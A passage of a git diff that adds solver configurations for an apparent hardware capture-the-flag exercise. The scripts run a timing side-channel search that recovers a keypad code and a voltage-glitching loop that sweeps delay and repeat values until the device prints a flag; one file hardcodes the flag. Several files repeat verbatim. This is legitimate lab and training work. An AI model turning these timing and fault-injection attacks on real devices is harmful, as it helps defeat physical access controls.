functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") + + results[test_pin] = duration + time.sleep(0.3) + + # Select candidate with longest duration (correct digit) + correct_pin = max(results, key=results.get) + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + code_sequence.append(correct_pin) + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py new file mode 100644 index 0000000..01de69c --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py @@ -0,0 +1,152 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} + + functions.add_text("[INFO] Starting full code discovery sequence") + + for digit_index in range(4): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}") + results = {} + + for test_pin in candidate_pins: + # Build the sequence: previously found digits + candidate repeated to fill 4 pulses + sequence = code_sequence.copy() + remaining_pulses = 4 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)}") + + # Send all pulses in the sequence, starting timer immediately before the fourth pulse + for i, pin in enumerate(sequence): + if i == len(sequence) - 1: + # Start timer immediately before sending the fourth pulse + start_time = time.time() + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + # Allow a short interval for the device to react + time.sleep(0.05) + # Wait for the input to go HIGH and capture result + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Safely extract duration from result or compute fallback + if isinstance(result, dict): + duration = result.get("duration_ms", + int((end_time - start_time) * 1000)) + else: + duration = int((end_time - start_time) * 1000) + + functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") + results[test_pin] = duration + else: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + # small pause between candidates + time.sleep(0.8) + + # Choose the candidate with the longest duration for this digit + correct_pin = max(results, key=results.get) + code_sequence.append(correct_pin) + + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence + +def stop_glitch(): + functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py new file mode 100644 index 0000000..0ee78c6 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py @@ -0,0 +1,44 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', True], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### name, enabled, string to match ### +conditions = [ + ["Flag", True, "TS{", "stop_glitch"], +] + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py new file mode 100644 index 0000000..1185630 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py @@ -0,0 +1,108 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', False], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + functions.run_output_low(0, 3000) + functions.run_output_low(1, 3000) + functions.run_output_low(2, 3000) + functions.run_output_low(3, 3000) + +def button_ok(): + functions.run_output_high(0, 15000000) # Can also run_output_low() if needed + functions.set_trigger_value(0, True) + functions.run_output_low(0, 3000) + + last_state = functions.get_trigger_value(0) + start_time = time.time() + + while True: + current_state = functions.get_trigger_value(0) + + # Detect rising edge: 0 → 1 + if last_state == 0 and current_state == 1: + functions.set_trigger_value(0, False) + functions.add_text("[code check complete]") + break + + # Exit if 1 second has elapsed + if time.time() - start_time >= 1.0: + functions.add_text("[timeout: no input detected within 1 second]") + break + + last_state = current_state + time.sleep(0.01) # Polling interval (10 ms) + + +def button_dash(): + functions.run_output_high(1, 1500000) ## can also run_output_low() if need too + functions.run_output_low(1, 3000) + +def button_space(): + functions.run_output_high(2, 1500000) ## can also run_output_low() if need too + functions.run_output_low(2, 3000) + +def button_dot(): + functions.run_output_high(3, 1500000) ## can also run_output_low() if need too + functions.run_output_low(3, 3000) + + +def echo_trigger_state(): + for channel in range(8): + state = functions.get_trigger_value(channel) + if state == 1: + functions.add_text(f"Channel {channel}: HIGH") + else: + functions.add_text(f"Channel {channel}: LOW") + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py new file mode 100644 index 0000000..94c453d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py @@ -0,0 +1,155 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + """ + Discover a five-digit code by sending candidate pulses and measuring the + interval from sending OK (pin 8) until input goes HIGH using wait_for(). + + For each digit: + - Send one pulse for previously found digits. + - Send repeated pulses of the candidate digit to fill 5 pulses. + - Pulse OK (pin 8) to trigger the device. + - Measure duration using wait_for() for input HIGH. + - Select candidate with the longest LOW duration before HIGH. + """ + candidate_pins = [9, 10, 11] + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} + + button_ok() + functions.add_text("[INFO] Pulsing output pin 8 to reset device...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + functions.add_text("[INFO] Starting full code discovery sequence...") + + for digit_index in range(5): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") + results = {} + + for test_pin in candidate_pins: + # Build sequence: previously found digits + candidate repeated + sequence = code_sequence.copy() + remaining_pulses = 5 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)} ...") + + # Send sequence pulses (without timing) + for pin in sequence: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.1) + + # Start timer and pulse OK (pin 8) + start_time = time.time() + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + + # Wait for input to go HIGH and measure duration + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Use the Arduino-provided LOW duration, fallback to timer if needed + duration = result.get("duration_ms", int((end_time - start_time) * 1000)) + functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") + + results[test_pin] = duration + time.sleep(0.3) + + # Select candidate with longest duration (correct digit) + correct_pin = max(results, key=results.get) + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + code_sequence.append(correct_pin) + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py new file mode 100644 index 0000000..01de69c --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py @@ -0,0 +1,152 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} + + functions.add_text("[INFO] Starting full code discovery sequence") + + for digit_index in range(4): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}") + results = {} + + for test_pin in candidate_pins: + # Build the sequence: previously found digits + candidate repeated to fill 4 pulses + sequence = code_sequence.copy() + remaining_pulses = 4 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)}") + + # Send all pulses in the sequence, starting timer immediately before the fourth pulse + for i, pin in enumerate(sequence): + if i == len(sequence) - 1: + # Start timer immediately before sending the fourth pulse + start_time = time.time() + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + # Allow a short interval for the device to react + time.sleep(0.05) + # Wait for the input to go HIGH and capture result + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Safely extract duration from result or compute fallback + if isinstance(result, dict): + duration = result.get("duration_ms", + int((end_time - start_time) * 1000)) + else: + duration = int((end_time - start_time) * 1000) + + functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") + results[test_pin] = duration + else: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + # small pause between candidates + time.sleep(0.8) + + # Choose the candidate with the longest duration for this digit + correct_pin = max(results, key=results.get) + code_sequence.append(correct_pin) + + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence + +def stop_glitch(): + functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py new file mode 100644 index 0000000..f7e8036 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py @@ -0,0 +1,123 @@ +import functions +import threading +import time + +###### Config values ###### +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 1000000 +UART_NEWLINE = "\n" + +LENGTH = 12 +REPEAT = 1 +DELAY = 0 + +### name, enabled, string to match ### +conditions = [ + ['run', True, 'Password:', 'try_glitch'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### Custom functions ###### +def try_glitch(): + Len = functions.get_config_value("length") + Rep = functions.get_config_value("repeat") + Del = functions.get_config_value("delay") + time.sleep(0.2) + + tx_thread = threading.Thread( + target=functions.send_uart_message, + args=("aaaaaaaaaaaaaaaaaaaaa",), + daemon=True + ) + + glitch_thread = threading.Thread( + target=functions.start_glitch, + args=(Len, Rep, Del), + daemon=True + ) + + glitch_thread.start() + tx_thread.start() + + try: + current_delay = int(Del) + except (ValueError, TypeError): + current_delay = 0 + + try: + current_repeat = int(Rep) + except (ValueError, TypeError): + current_repeat = 0 + + new_delay = current_delay + 1 + + if new_delay >= 51: + new_delay = 0 + new_repeat = current_repeat + 1 + if new_repeat >= 20: + new_repeat = 1 + functions.set_config_value("repeat", new_repeat) + + functions.set_config_value("delay", new_delay) + + +def stop_glitch(): + buf = functions.read_uart_buffer() + + if "TS{D@mn_y0u_@r3_g006}" in buf: + functions.start_glitch(16, 1, 0) + else: + functions.set_condition_value(0, False) + functions.set_uart_switch(False) + + +###### Inactivity watchdog ###### +def config_inactivity_monitor(timeout=5): + """ + Monitor 'delay' and 'repeat' configuration values. + Restart device if they do not change for 'timeout' seconds + AND condition 0 remains True. + """ + # Wait for functions.config to be initialised + while True: + try: + _ = functions.get_config_value("delay") + break + except AttributeError: + print("[Watchdog] Waiting for configuration to initialise...") + time.sleep(1) + + last_delay = functions.get_config_value("delay") + last_repeat = functions.get_config_value("repeat") + last_change_time = time.time() + + while True: + try: + current_delay = functions.get_config_value("delay") + current_repeat = functions.get_config_value("repeat") + condition_active = functions.get_condition_value(0) + + if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat): + last_change_time = time.time() + last_delay = current_delay + last_repeat = current_repeat + + if condition_active and (time.time() - last_change_time > timeout): + print("[Watchdog] Inactivity detected. Restarting glitch...") + functions.start_glitch(16, 1, 0) + last_change_time = time.time() + + except Exception as e: + print(f"[Watchdog Error] {e}") + + time.sleep(1) + + +# Start watchdog thread after slight delay to allow initialisation +def start_watchdog(): + time.sleep(2) # ensures 'functions.config' is ready + monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True) + monitor_thread.start() + + +threading.Thread(target=start_watchdog, daemon=True).start() diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py new file mode 100644 index 0000000..0ee78c6 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py @@ -0,0 +1,44 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', True], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### name, enabled, string to match ### +conditions = [ + ["Flag", True, "TS{", "stop_glitch"], +] + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py new file mode 100644 index 0000000..1185630 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py @@ -0,0 +1,108 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', False], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + functions.run_output_low(0, 3000) + functions.run_output_low(1, 3000) + functions.run_output_low(2, 3000) + functions.run_output_low(3, 3000) + +def button_ok(): + functions.run_output_high(0, 15000000) # Can also run_output_low() if needed + functions.set_trigger_value(0, True) + functions.run_output_low(0, 3000) + + last_state = functions.get_trigger_value(0) + start_time = time.time() + + while True: + current_state = functions.get_trigger_value(0) + + # Detect rising edge: 0 → 1 + if last_state == 0 and current_state == 1: + functions.set_trigger_value(0, False) + functions.add_text("[code check complete]") + break + + # Exit if 1 second has elapsed + if time.time() - start_time >= 1.0: + functions.add_text("[timeout: no input detected within 1 second]") + break + + last_state = current_state + time.sleep(0.01) # Polling interval (10 ms) + + +def button_dash(): + functions.run_output_high(1, 1500000) ## can also run_output_low() if need too + functions.run_output_low(1, 3000) + +def button_space(): + functions.run_output_high(2, 1500000) ## can also run_output_low() if need too + functions.run_output_low(2, 3000) + +def button_dot(): + functions.run_output_high(3, 1500000) ## can also run_output_low() if need too + functions.run_output_low(3, 3000) + + +def echo_trigger_state(): + for channel in range(8): + state = functions.get_trigger_value(channel) + if state == 1: + functions.add_text(f"Channel {channel}: HIGH") + else: + functions.add_text(f"Channel {channel}: LOW") + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py new file mode 100644 index 0000000..94c453d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py @@ -0,0 +1,155 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + 